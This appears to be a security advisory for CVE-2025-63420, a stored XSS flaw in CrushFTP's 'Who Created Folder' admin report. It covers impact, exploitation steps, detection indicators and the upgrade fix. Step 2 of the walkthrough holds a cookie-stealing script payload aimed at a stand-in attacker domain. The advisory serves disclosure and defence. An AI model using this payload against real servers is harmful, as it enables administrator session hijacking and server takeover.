CVE-2025-63420: 
CrushFTP vulnerability analysis and mitigation

CVE-2025-63420 is a stored HTML injection (Cross-Site Scripting) vulnerability in the CrushFTP Admin Panel affecting the Reports / "Who Created Folder" feature. It affects CrushFTP versions 11.0.1 through 11.3.7_56 and was disclosed on November 7, 2025. The vulnerability enables authenticated attackers with folder creation permissions to inject persistent malicious HTML/JavaScript that executes in administrator sessions. It carries a CVSS v3.1 base score of 4.1 (Medium) (Feedly, GitHub PoC).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically the failure to sanitize folder names before rendering them in the Admin Panel's "Who Created Folder" report. An authenticated attacker with "Create Folder" permissions creates a folder whose name contains an HTML/JavaScript payload (e.g., <h1>HACKED</h1><script>...</script>); when an administrator navigates to Reports → "Who Created Folder" and runs the report, the unsanitized folder name is rendered directly in the admin's browser. The vulnerability is noted to affect only Linux-based CrushFTP deployments, as Windows servers disallow special characters in folder/file names (GitHub PoC, GitHub Gist).

Successful exploitation allows injected HTML/JavaScript to execute persistently within the context of administrator sessions viewing the affected report, enabling session hijacking, credential theft, or unauthorized administrative actions within the CrushFTP Admin Panel. The integrity impact is limited to the admin panel context (changed scope), with no direct confidentiality or availability impact per the CVSS assessment. However, chained with session hijacking, an attacker could escalate to full administrative control of the CrushFTP server (Feedly, GitHub PoC).

Public proof-of-concept exploit code is available on GitHub and GitHub Gist, published by researcher Muntadhar M. Ahmed (almuntadhar0x01) (GitHub PoC, GitHub Gist). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.015% (0.000150), reflecting low probability of near-term exploitation (Feedly). Exploitation requires an authenticated account with folder creation permissions and an administrator to view the affected report.

1. Gain authenticated access: Obtain or compromise a CrushFTP account that has "Create Folder" permissions on a Linux-based CrushFTP 11.x instance (versions 11.0.1–11.3.7_56).
2. Craft a malicious folder name: Prepare an HTML/JavaScript payload to use as a folder name, e.g., <h1>HACKED</h1><script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Create the malicious folder: Log in to the CrushFTP web interface at http://<target>:8080/ and create a new folder using the crafted payload as the folder name. Creating two folders with the same payload may be required for the injection to render correctly in the report.
4. Wait for administrator interaction: The injected payload is now stored server-side. When an administrator navigates to http://<target>:8080/WebInterface/admin/index.html, clicks "Reports", selects "Who Created Folder", and runs the report, the malicious HTML/JavaScript executes in their browser session.
5. Achieve objective: The executed script can steal the administrator's session cookie, redirect to a phishing page, or perform unauthorized actions within the admin panel on behalf of the attacker (GitHub PoC, GitHub Gist).

• File System / Server Logs: Presence of folder names containing HTML tags or JavaScript syntax (e.g., <script>, <h1>, onerror=, javascript:) in CrushFTP folder listings or audit logs.
• Network: Unexpected outbound HTTP/HTTPS requests from administrator browsers to unknown external domains shortly after accessing the CrushFTP Admin Panel Reports section; potential exfiltration of session cookies to attacker-controlled servers.
• Logs: CrushFTP access logs showing folder creation events with unusual or encoded characters in folder names by non-administrative users; admin panel report access (/WebInterface/admin/index.html) correlated with anomalous outbound connections.
• Browser/Session: Unexpected session invalidation or privilege escalation events in CrushFTP admin audit logs following report generation (GitHub Gist, Feedly).

Upgrade CrushFTP to version 11.3.7_57 or later, which includes a fix for this vulnerability as noted in the vendor changelog (https://crushftp.com/version11_build.html): "_57: login URL fix and session kicking fix, and a minor HTMLi for reports: CVE-2025-63420" (GitHub PoC). As interim mitigations, restrict "Create Folder" permissions to trusted users only, implement network segmentation to limit access to the CrushFTP Admin Panel, and monitor admin panel access logs for suspicious report activity. Note that this vulnerability only affects Linux-based deployments; Windows servers are not affected due to OS-level restrictions on special characters in folder names (GitHub Gist).

The vulnerability was discovered and reported by researcher Muntadhar M. Ahmed (almuntadhar0x01), who published both a GitHub repository and a GitHub Gist with full reproduction steps (GitHub PoC, GitHub Gist). Red Hat has tracked the CVE in their security advisory database (Red Hat Advisory). No broader media coverage or significant community discussion has been identified beyond the initial disclosure.